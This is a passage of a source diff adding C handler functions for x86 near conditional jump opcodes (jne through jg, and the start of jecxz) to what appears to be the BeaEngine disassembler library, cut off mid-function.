======================================= + * 0f85h + * ======================================= */ +void __bea_callspec__ jne_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNE; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jne "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} +/* ======================================= + * 0f86h + * ======================================= */ +void __bea_callspec__ jbe_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNA; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jbe "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + + +/* ======================================= + * 0f87h + * ======================================= */ +void __bea_callspec__ ja_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JA; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ja "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f88h + * ======================================= */ +void __bea_callspec__ js_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JS; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "js "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f89h + * ======================================= */ +void __bea_callspec__ jns_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNS; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jns "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f8ah + * ======================================= */ +void __bea_callspec__ jp_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JP; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jp "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f8bh + * ======================================= */ +void __bea_callspec__ jnp_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNP; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnp "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f8ch + * ======================================= */ +void __bea_callspec__ jl_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JL; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jl "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f8dh + * ======================================= */ +void __bea_callspec__ jnl_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNL; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnl "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f8eh + * ======================================= */ +void __bea_callspec__ jle_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + Int32 MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNG; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jng "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f8fh + * ======================================= */ +void __bea_callspec__ jnle_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + Int64 MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JG; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jg "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0e3h + * ======================================= */ +void __bea_callspec__ jecxz_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + Int64 MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JECXZ; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + if (GV.AddressSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jrcxz "); + #endif + } + else if (GV.AddressSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jecxz "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jcxz "); + #endif + } + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef 